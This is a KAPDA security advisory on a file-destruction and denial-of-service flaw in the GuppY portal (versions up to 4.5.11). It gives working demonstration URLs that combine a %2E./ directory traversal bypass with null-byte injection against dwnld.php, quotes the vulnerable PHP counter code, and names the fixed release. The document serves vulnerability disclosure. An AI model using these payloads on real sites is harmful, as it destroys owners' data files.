guppyDoS.txt

`KAPDA New advisory  
  
Vendor: http://www.freeguppy.org  
Vulnerable: <= 4.5.11  
Bug: Destroy database files (Remote DoS vulnerability)  
Exploitation: Remote with browser  
Exploit: available  
  
Description:  
--------------------  
GuppY is a web portal intentionaly designed to be easy  
to use for you,   
the final user. It doesn't require any database to  
run. It allows you   
to create quickly and without any technical knowledge,  
a complete and   
interactive website.  
  
Vulnerability:  
--------------------  
  
There is a high risk vulnerability in guppy <= 4.5.11  
in 'dwnld.php'pages that may   
allow remote attackers to destroy database files.(With  
magic_quotes_gpc = Off   
,Its possible to destroy any file that chmoded 666 via  
null injection).  
Furthermore, directory traversal filter bypassing,  
using   
%2E./ instead of ../  
  
Demonstration URL:  
--------------------  
http://example.com/guppy/mobile/dwnld.php?pg=./%2E./stats  
will replace content of stats.dtb with "1"  
Or  
http://example.com/guppy/dwnld.php?pg=./%2E./test.inc%00  
  
Code Snippets:  
--------------------  
//dwnld.php  
$dnldcounter = ReadDocCounter(DBBASE.$pg);  
UpdateDocCounter($pg);  
  
//log.inc  
}  
WriteDBFields(DBLOGH,$dblog);  
}  
$tabcounter = CompteVisites(DBIPSTATS, DBSTATS);  
if ($tabcounter[0] > 0 && ($tabcounter[0]/10) ==  
intval($tabcounter[0]/10)) {  
WriteCounter(DBSTATSBK, $tabcounter[0]);  
}  
  
  
//functions.php  
function WriteCounter($fic,$DataDB) {  
$fhandle = fopen($fic, "w");  
fputs($fhandle, $DataDB."\n");  
fclose($fhandle);  
}  
.  
.  
.  
function WriteDBFields($fic,$Fields) {  
$fhandle = fopen($fic, "w");  
$DataDB = "";  
for ($i = 0; $i < count($Fields); $i++) {  
for ($j = 0 ; $j < (count($Fields[$i])-1); $j++) {  
$DataDB .= trim($Fields[$i][$j]).CONNECTOR;  
}  
$DataDB .=  
trim($Fields[$i][count($Fields[$i])-1])."\n";  
}  
fputs($fhandle, $DataDB);  
fclose($fhandle);  
}  
.  
.  
.  
function ReadDocCounter($dirid) {  
$DataDB = ReadCounter($dirid.DBEXT);  
return $DataDB;  
}  
  
function WriteDocCounter($dirid,$DataDB) {  
WriteCounter($dirid.DBEXT,$DataDB);  
}  
  
function UpdateDocCounter($id) {  
$DataDB = ReadDocCounter(DBBASE.$id);  
$vote = DejaVote(DBIPBASE.$id.DBEXT,300);  
if ($vote[0] == false) {  
$DataDB++;  
WriteDocCounter(DBBASE.$id,$DataDB);  
}  
return $DataDB;  
}  
  
More details with Exploit:  
--------------------  
http://www.kapda.ir/advisory-291.html  
In Farsi: http://irannetjob.com/content/view/204/28/  
  
Solution:  
--------------------  
Upgrade to new version 4.5.12  
  
Credit :  
--------------------  
Discovered by trueend5 (trueend5 kapda ir)  
Computer Security Science Researchers Institute  
[http://www.KAPDA.ir]   
  
  
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`